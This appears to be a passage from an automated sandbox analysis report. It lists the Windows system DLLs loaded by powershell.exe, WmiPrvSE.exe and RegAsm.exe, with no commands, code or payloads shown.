Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: comsvcs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
